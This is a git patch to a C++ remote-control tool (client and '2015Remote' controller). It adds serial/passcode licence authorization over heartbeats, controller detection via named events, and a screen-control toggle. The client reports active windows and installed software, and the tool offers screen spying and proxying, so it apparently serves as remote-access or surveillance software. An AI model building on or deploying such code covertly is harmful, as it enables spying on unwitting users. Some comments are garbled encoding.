From 94ff7312235ec27a5dfaa159a1dfe64d451a1472 Mon Sep 17 00:00:00 2001 From: shaun <962914132@qq.com> Date: Tue, 23 Dec 2025 15:16:01 +0100 Subject: [PATCH] Improve: Exit authorization client after succeed authorizing --- client/ClientDll.cpp | 6 ++- client/KernelManager.cpp | 70 ++++++++++++++++++++++++++-- client/KernelManager.h | 24 +++++++++- client/LoginServer.cpp | 18 +++---- client/LoginServer.h | 2 +- common/commands.h | 8 +++- server/2015Remote/2015Remote.cpp | 17 +++++++ server/2015Remote/2015Remote.rc | Bin 108448 -> 108448 bytes server/2015Remote/2015RemoteDlg.cpp | 26 ++++++++--- server/2015Remote/2015RemoteDlg.h | 1 + server/2015Remote/ScreenSpyDlg.cpp | 7 ++- server/2015Remote/ScreenSpyDlg.h | 1 + server/2015Remote/ToolbarDlg.cpp | 17 ++++--- server/2015Remote/ToolbarDlg.h | 2 +- server/2015Remote/resource.h | Bin 57682 -> 57656 bytes 15 files changed, 164 insertions(+), 35 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 7e222c4..af5dfa8 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -513,10 +513,12 @@ DWORD WINAPI StartClient(LPVOID lParam) continue; } SAFE_DELETE(Manager); - Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); //准备第一波数据 - LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); + BOOL auth = FALSE; + LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth); + Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : + new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 848adca..937a5b1 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -806,11 +806,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; case CMD_HEARTBEAT_ACK: - if (ulLength > 8) { - uint64_t n = 0; - memcpy(&n, szBuffer + 1, sizeof(uint64_t)); - m_nNetPing.update_from_sample(GetUnixMs() - n); - } + OnHeatbeatResponse(szBuffer, ulLength); break; case CMD_MASTERSETTING: if (ulLength > MasterSettingsOldSize) { @@ -963,3 +959,67 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } } + +void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { + if (ulLength > 8) { + uint64_t n = 0; + memcpy(&n, szBuffer + 1, sizeof(uint64_t)); + m_nNetPing.update_from_sample(GetUnixMs() - n); + } +} + +int AuthKernelManager::SendHeartbeat() +{ + for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) + Sleep(1000); + if (!m_bFirstHeartbeat && m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳) + for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected() && m_settings.ReportInterval <= 0; --i) + Sleep(1000); + return 0; + } + if (g_bExit || !m_ClientObject->IsConnected()) + return -1; + + if (m_bFirstHeartbeat) { + m_bFirstHeartbeat = false; + } + + ActivityWindow checker; + auto s = checker.Check(); + Heartbeat a(s, m_nNetPing.srtt); + a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware); + + iniFile THIS_CFG; + auto SN = THIS_CFG.GetStr("settings", "SN", ""); + auto passCode = THIS_CFG.GetStr("settings", "Password", ""); + auto pwdHmac = THIS_CFG.GetStr("settings", "PwdHmac", ""); + uint64_t value = std::strtoull(pwdHmac.c_str(), nullptr, 10); + strcpy_s(a.SN, SN.c_str()); + strcpy_s(a.Passcode, passCode.c_str()); + memcpy(&a.PwdHmac, &value, 8); + + BYTE buf[sizeof(Heartbeat) + 1]; + buf[0] = TOKEN_HEARTBEAT; + memcpy(buf + 1, &a, sizeof(Heartbeat)); + m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + return 0; +} + +void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { + if (ulLength > sizeof(HeartbeatACK)) { + HeartbeatACK n = { 0 }; + memcpy(&n, szBuffer + 1, sizeof(HeartbeatACK)); + m_nNetPing.update_from_sample(GetUnixMs() - n.Time); + if (n.Authorized == TRUE) { + Mprintf("======> Client authorized successfully.\n"); + // Once the client is authorized, authentication is no longer needed + // So we can set exit flag to terminate the AuthKernelManager + g_bExit = S_CLIENT_EXIT; + } + } + else if (ulLength > 8) { + uint64_t n = 0; + memcpy(&n, szBuffer + 1, sizeof(uint64_t)); + m_nNetPing.update_from_sample(GetUnixMs() - n); + } +} diff --git a/client/KernelManager.h b/client/KernelManager.h index 1261d67..5816f06 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -132,6 +132,7 @@ public: CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength); ThreadInfo* m_hKeyboard; ThreadInfo m_hThread[MAX_THREADNUM]; // ֵԭڼ¼߳߳ʱm_hThreadԽ³쳣 @@ -143,7 +144,7 @@ public: MasterSettings m_settings; RttEstimator m_nNetPing; // ״ // - int SendHeartbeat() + virtual int SendHeartbeat() { for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i) Sleep(1000); @@ -209,4 +210,25 @@ public: } }; +// [IMPORTANT] +// Ȩ: ڴȨصӦһȨɹ߳̽˳ٺؽݽ. +// ȨɹֺصӣбҪݽܱΪšDZ. +// ע: Ȩͨں˹ĴͬȨиȨصϢ. +// κͼͨ޸ĴȡȨΪDzģҲɹǿ˳. +class AuthKernelManager : public CKernelManager +{ +public: + bool m_bFirstHeartbeat = true; + + AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) + : CKernelManager(conn, ClientObject, hInstance, kb, s) + { + } + virtual ~AuthKernelManager() {} + + virtual int SendHeartbeat()override; + + virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override; +}; + #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 2bf5f66..bf07da5 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -287,8 +287,9 @@ uint64_t CalcalateID(const std::vector& clientInfo) return XXH64(s.c_str(), s.length(), 0); } -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKernel) { + isAuthKernel = FALSE; iniFile cfg(CLIENT_PATH); LOGIN_INFOR LoginInfor; LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录 @@ -332,14 +333,15 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn) LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数 std::string str; std::string masterHash(skCrypt(MASTER_HASH)); - HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); - hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); -#ifndef _DEBUG - if (hMutex != NULL) { -#else + std::string pid = std::to_string(GetCurrentProcessId()); + HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str()); + HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str()); + if (hEvent1 != NULL || hEvent2 != NULL) { -#endif - CloseHandle(hMutex); + Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL); + isAuthKernel = TRUE; + CloseHandle(hEvent1); + CloseHandle(hEvent2); config*cfg = conn.pwdHash == masterHash ? new config : new iniFile; str = cfg->GetStr("settings", "Password", ""); delete cfg; diff --git a/client/LoginServer.h b/client/LoginServer.h index 3757072..d04a1df 100644 --- a/client/LoginServer.h +++ b/client/LoginServer.h @@ -5,6 +5,6 @@ #pragma comment(lib,"Vfw32.lib") -LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn); +LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, BOOL &isAuthKernel); DWORD CPUClockMHz(); BOOL WebCamIsExist(); diff --git a/common/commands.h b/common/commands.h index 91380f9..3ad165d 100644 --- a/common/commands.h +++ b/common/commands.h @@ -859,7 +859,10 @@ typedef struct Heartbeat { char ActiveWnd[512]; int Ping; int HasSoftware; - char Reserved[496]; + char SN[20]; + char Passcode[44]; + uint64_t PwdHmac; + char Reserved[424]; Heartbeat() { @@ -880,7 +883,8 @@ typedef struct Heartbeat { typedef struct HeartbeatACK { uint64_t Time; - char Reserved[24]; + char Authorized; + char Reserved[23]; } HeartbeatACK; // ̶500ֽ diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 186cd11..8ad0baa 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -311,6 +311,18 @@ BOOL CMy2015RemoteApp::InitInstance() // 例如修改为公司或组织名 SetRegistryKey(_T("YAMA")); + // 注册一个事件,用于进程间通信 + // 请勿修改此事件名称,否则可能导致无法启动程序、鉴权失败等问题 + char eventName[64] = { 0 }; + sprintf(eventName, "YAMA_%d", GetCurrentProcessId()); + HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, eventName); + if (hEvent == NULL) { + Mprintf("[InitInstance] 创建事件失败,错误码: %d\n", GetLastError()); + } + else { + Mprintf("[InitInstance] 创建事件成功,事件名: %s\n", eventName); + } + CMy2015RemoteDlg dlg(nullptr); m_pMainWnd = &dlg; INT_PTR nResponse = dlg.DoModal(); @@ -327,6 +339,11 @@ BOOL CMy2015RemoteApp::InitInstance() delete pShellManager; } + if (hEvent) { + CloseHandle(hEvent); + Mprintf("[InitInstance] 关闭事件句柄。\n"); + } + // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序, // 而不是启动应用程序的消息泵。 return FALSE; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 2d366a6dc9b89d03bc147a935da6be5df316a0b0..60ecae96b3ca68228080c79ca58c0a8bd1d353ad 100644 GIT binary patch delta 56 zcmZ2*o^8Q-whfQ&Xf97S3-XT%jZSend2Client(buf, sizeof(buf)); @@ -4520,6 +4529,7 @@ void CMy2015RemoteDlg::OnProxyPort() FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); EnterCriticalSection(&m_cs); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + BOOL sent = FALSE; while (Pos) { int iItem = m_CList_Online.GetNextSelectedItem(Pos); context* ctx = (context*)m_CList_Online.GetItemData(iItem); @@ -4533,6 +4543,7 @@ void CMy2015RemoteDlg::OnProxyPort() DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); SetParameters(p, (char*)¶m, sizeof(param)); ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); + sent = TRUE; } else { PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"), @@ -4542,6 +4553,7 @@ void CMy2015RemoteDlg::OnProxyPort() } LeaveCriticalSection(&m_cs); SAFE_DELETE(frpc); - MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!", - "提示", MB_ICONINFORMATION); + if (sent) + MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!", + "提示", MB_ICONINFORMATION); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 1b6d6b6..47a1f44 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -222,6 +222,7 @@ public: MasterSettings m_settings; static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); + BOOL AuthorizeClient(const std::string& sn, const std::string& passcode, uint64_t hmac); VOID MessageHandle(CONTEXT_OBJECT* ContextObject); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 5ef360c..9a5807e 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -981,7 +981,7 @@ void CScreenSpyDlg::EnterFullScreen() // 7. 标记全屏模式 m_bFullScreen = true; - SetTimer(1, 200, NULL); + SetTimer(1, 100, NULL); } } @@ -1087,3 +1087,8 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized) ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0); } } + +void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) { + m_bIsCtrl = ctrl; + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); +} diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index ffa3f0c..ff0608c 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -111,6 +111,7 @@ public: bool Decode(LPBYTE Buffer, int size); void EnterFullScreen(); bool LeaveFullScreen(); + void UpdateCtrlStatus(BOOL ctrl); afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); diff --git a/server/2015Remote/ToolbarDlg.cpp b/server/2015Remote/ToolbarDlg.cpp index 77e6af7..05ce9fe 100644 --- a/server/2015Remote/ToolbarDlg.cpp +++ b/server/2015Remote/ToolbarDlg.cpp @@ -1,6 +1,7 @@ #include "stdafx.h" #include "ToolbarDlg.h" #include "2015RemoteDlg.h" +#include IMPLEMENT_DYNAMIC(CToolbarDlg, CDialogEx) @@ -20,7 +21,7 @@ void CToolbarDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx) ON_BN_CLICKED(IDC_BTN_EXIT_FULLSCREEN, &CToolbarDlg::OnBnClickedExitFullscreen) - ON_BN_CLICKED(IDC_BTN_MINIMIZE, &CToolbarDlg::OnBnClickedMinimize) + ON_BN_CLICKED(CONTROL_BTN_ID, &CToolbarDlg::OnBnClickedCtrl) ON_BN_CLICKED(IDC_BTN_CLOSE, &CToolbarDlg::OnBnClickedClose) END_MESSAGE_MAP() @@ -45,7 +46,7 @@ void CToolbarDlg::SlideIn() int cx = GetSystemMetrics(SM_CXSCREEN); for (int y = -m_nHeight; y <= 0; y += 8) { SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE); - Sleep(10); + Sleep(100); } SetWindowPos(&wndTopMost, 0, 0, cx, m_nHeight, SWP_NOACTIVATE); } @@ -55,7 +56,7 @@ void CToolbarDlg::SlideOut() int cx = GetSystemMetrics(SM_CXSCREEN); for (int y = 0; y >= -m_nHeight; y -= 8) { SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE); - Sleep(10); + Sleep(100); } ShowWindow(SW_HIDE); m_bVisible = false; @@ -67,10 +68,12 @@ void CToolbarDlg::OnBnClickedExitFullscreen() GetParent()->PostMessage(WM_COMMAND, ID_EXIT_FULLSCREEN, 0); } -void CToolbarDlg::OnBnClickedMinimize() +void CToolbarDlg::OnBnClickedCtrl() { - GetParent()->ShowWindow(SW_MINIMIZE); - SlideOut(); + CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent(); + pParent->m_bIsCtrl = !pParent->m_bIsCtrl; + pParent->UpdateCtrlStatus(pParent->m_bIsCtrl); + GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕"); } void CToolbarDlg::OnBnClickedClose() @@ -99,7 +102,7 @@ BOOL CToolbarDlg::OnInitDialog() GetDlgItem(IDC_BTN_EXIT_FULLSCREEN)->SetWindowPos(NULL, startX, y, btnWidth, btnHeight, SWP_NOZORDER); - GetDlgItem(IDC_BTN_MINIMIZE)->SetWindowPos(NULL, + GetDlgItem(CONTROL_BTN_ID)->SetWindowPos(NULL, startX + btnWidth + btnSpacing, y, btnWidth, btnHeight, SWP_NOZORDER); GetDlgItem(IDC_BTN_CLOSE)->SetWindowPos(NULL, startX + (btnWidth + btnSpacing) * 2, y, btnWidth, btnHeight, SWP_NOZORDER); diff --git a/server/2015Remote/ToolbarDlg.h b/server/2015Remote/ToolbarDlg.h index c6ea950..09b08fc 100644 --- a/server/2015Remote/ToolbarDlg.h +++ b/server/2015Remote/ToolbarDlg.h @@ -24,7 +24,7 @@ protected: public: afx_msg void OnBnClickedExitFullscreen(); - afx_msg void OnBnClickedMinimize(); + afx_msg void OnBnClickedCtrl(); afx_msg void OnBnClickedClose(); virtual BOOL OnInitDialog(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index b7da1fc6d366a774ce107624a4eca4198747185e..ce14a3b5bbf8397e34ef83eb36047d9128d504ec 100644 GIT binary patch delta 66 zcmca~h